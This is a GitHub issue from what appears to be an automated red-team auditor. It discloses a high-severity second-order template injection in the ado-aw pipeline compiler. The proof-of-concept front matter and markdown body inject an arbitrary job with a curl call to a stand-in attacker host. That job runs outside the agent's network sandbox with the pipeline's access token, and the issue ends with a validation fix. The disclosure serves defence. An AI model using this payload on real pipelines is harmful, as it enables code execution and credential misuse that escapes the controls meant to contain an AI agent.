Skip to content

πŸ”΄ Red Team Audit β€” High: Second-order template injection via name field injects arbitrary jobs into pipeline YAMLΒ #269

@github-actions

Description

@github-actions

πŸ”΄ Red Team Security Audit

Audit focus: Category A (Input Sanitization & Injection) β€” second-order template marker substitution
Severity: High

Findings

# Vulnerability Severity File(s) Exploitable?
1 Second-order template injection via name: "\{\{ agent_content }}" High src/compile/common.rs:2198-2205, src/data/base.yml:2 Yes β€” injects arbitrary jobs: blocks into pipeline YAML

Details

Finding 1: Second-order Template Injection via name Field

Description: The validate_front_matter_identity function blocks ADO expressions ($\{\{, $(, $[) in the name field but does not block the compiler's own template marker syntax (\{\{ ... }}). When name is set to \{\{ agent_content }}, a two-step substitution occurs:

  1. \{\{ agent_name }} β†’ \{\{ agent_content }} (the literal string from front_matter.name)
  2. \{\{ agent_content }} β†’ markdown body (applied to all newly-created occurrences from step 1)

Because \{\{ agent_name }} appears at the top of base.yml as an unquoted YAML scalar (name: \{\{ agent_name }}-$(BuildID)), and because \{\{ agent_content }} is substituted after \{\{ agent_name }} in the sequential replacement fold, the entire multi-line markdown body gets injected directly into the top-level pipeline YAML.

Attack vector: Set front matter name: "\{\{ agent_content }}" and craft the markdown body as valid YAML:

---
name: "\{\{ agent_content }}"
description: "PoC for second-order template injection"
---
null  # name field becomes null (comment hides remainder of line)
jobs:
  - job: InjectedJob
    displayName: "Attacker-injected job"
    pool:
      name: ubuntu-latest
    steps:
      - bash: |
          echo "Arbitrary execution outside AWF sandbox"
          curl (attacker.example.com/redacted)
        displayName: "Injected malicious step"
  # end of injected content

Proof of concept β€” confirmed with ado-aw compile. The generated pipeline YAML opens with:

name: null  # name field becomes null (comment hides remainder of line)
jobs:
  - job: InjectedJob
    displayName: "Attacker-injected job"
    pool:
      name: ubuntu-latest
    steps:
      - bash: |
          echo "Arbitrary execution outside AWF sandbox"
          curl (attacker.example.com/redacted)
        displayName: "Injected malicious step"
  # end of injected content-$(BuildID)

resources:
  ...

jobs:              ← legitimate template jobs block
  - job: Agent
    ...

The injected jobs: block appears before the legitimate one. YAML parsers that accept the first occurrence of a duplicate key will execute the attacker's job instead of the real pipeline.

Impact:

  • The injected job runs outside the AWF network sandbox β€” no domain allowlist, no MCPG routing, unrestricted network access
  • The injected job bypasses all SafeOutputs write controls β€” direct ADO API access using the pipeline's System.AccessToken
  • Completely undermines the security model (Stage 1 vs Stage 3 separation, AWF isolation)
  • The \{\{ agent_content }} name passes all existing validation checks (no $\{\{, no $(, no newlines)

Also applicable to \{\{ agent_description }} injection path: Setting name: "\{\{ copilot_params }}" replaces the copilot CLI flags in the generated pipeline (though impact is lower there).

Root cause: The validate_front_matter_identity function only blocks ADO template expression prefixes ($\{\{, $(, $[), not the compiler's own \{\{ ... }} marker syntax. The replacement fold in compile_shared is sequential, so a value injected by one substitution can be acted on by a subsequent substitution.

Suggested fix:

  1. Add a validation rule in validate_front_matter_identity that rejects any name or description value containing \{\{ (the compiler's marker delimiter) β€” e.g.:
    if value.contains("\{\{") {
        anyhow::bail!("Front matter '{}' contains a template marker delimiter '\{\{\{\{' which is not allowed.", field);
    }
  2. Alternatively, perform the \{\{ agent_name }} substitution last (after \{\{ agent_content }}) so newly-created markers are never re-processed. However, option 1 is simpler and more robust.

Audit Coverage

Category Status
A: Input Sanitization βœ… Re-scanned β€” new finding
B: Path Traversal βœ… Scanned
C: Network Bypass βœ… Scanned
D: Credential Exposure βœ… Scanned
E: Logic Flaws βœ… Scanned
F: Supply Chain βœ… Scanned

This issue was created by the automated red team security auditor.

Generated by Red Team Security Auditor Β· ● 6.4M Β· β—·

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions